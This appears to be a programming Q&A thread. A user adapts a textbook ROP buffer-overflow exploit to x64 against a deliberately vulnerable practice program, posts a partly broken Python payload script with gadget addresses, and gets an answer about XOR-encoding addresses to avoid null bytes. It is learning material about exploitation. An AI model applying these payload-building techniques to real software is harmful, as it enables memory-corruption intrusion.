MajorasKid
MajorasKid

Reputation: 873

ROP Exploit: Address contains null byte

I'm currently trying to adapt this example of a simple ROP attack to x64. When compiling the program accordingly:

gcc -O0 -g -static -fno-stack-protector -no-pie -o simple_rop64 ./simple_rop.c

And trying to adjust the used addresses of the functions (using gdb) I have the following problem. The x64 address of, e.g., the lazy() function is at 0x401b9d, which is only three bytes. Thus, struct.pack will add a null-byte.

The python interpreter will therefore throw an error when executing with this error message:

python rop_exploit.py 
[...]
os.system("./simple_rop64 \"%s\"" % payload)
TypeError: system() argument 1 must be string without null bytes, not str

Is it even possible to use this function address (which is always three bytes only) for this vulnerable program? Or do I have to adjust it otherwise?

Thanks for any help.

Here the python script I adjusted

    #Find gadgets

#objdump -d simple_rop64 | grep --color -E -A2 "pop +%rbp"
#47c54a:    5d                      pop    %rbp
#47c54b:    c3                      retq 
pop_ret = 0x47c54a # start address of a pop,ret sequence

#objdump -d simple_rop32 | grep --color -A2 8049ca4
#8049ca4:   5f                      pop    %edi
#8049ca5:   5d                      pop    %ebp
#8049ca6:   c3                      ret 
pop_pop_ret = 0x8049ca4 # start address of a pop,pop,ret sequence

lazy = 0x401b9d # objdump -d | grep lazy
food = 0x401bb0 # objdump -d | grep food
feeling_sick = 0x401c0c # objdump -d | grep feeling_sick

#Buffer Overflow
#0x0000000000401d0d <+45>:  lea    -0x70(%rbp),%rax
payload = "A"*0x70
# Saved RBP register
payload += "BBBBBBBB"

#food(0xdeadbeef) gadget
payload += struct.pack("I", food)
payload += struct.pack("I", pop_ret)
payload += struct.pack("I", 0xdeadbeef)

#feeling_sick(0xd15ea5e, 0x0badf00d) gadget
payload += struct.pack("I", feeling_sick)
payload += struct.pack("I", pop_pop_ret)
payload += struct.pack("I", 0xd15ea5e)
payload += struct.pack("I", 0x0badf00d)

payload += struct.pack("I", lazy)

os.system("./simple_rop64 \"%s\"" % payload)

Upvotes: 1

Views: 2138

Answers (1)

ShellCode
ShellCode

Reputation: 1172

You can't. What you could do instead is find a gadget that does a certain operation and do the opposite in your exploit.

For example if you find a gadget that does xor eax, 0xFFFFFFFF then you could just xor your address with it (0x401b9d ^ 0xFFFFFFFF = 0xFFBFE462) so that it fits 4 bytes. pop this intermediate value into eax and call your gadget so that your intermediate value becomes the address you want. Then you jump to it.

Upvotes: 1

Related Questions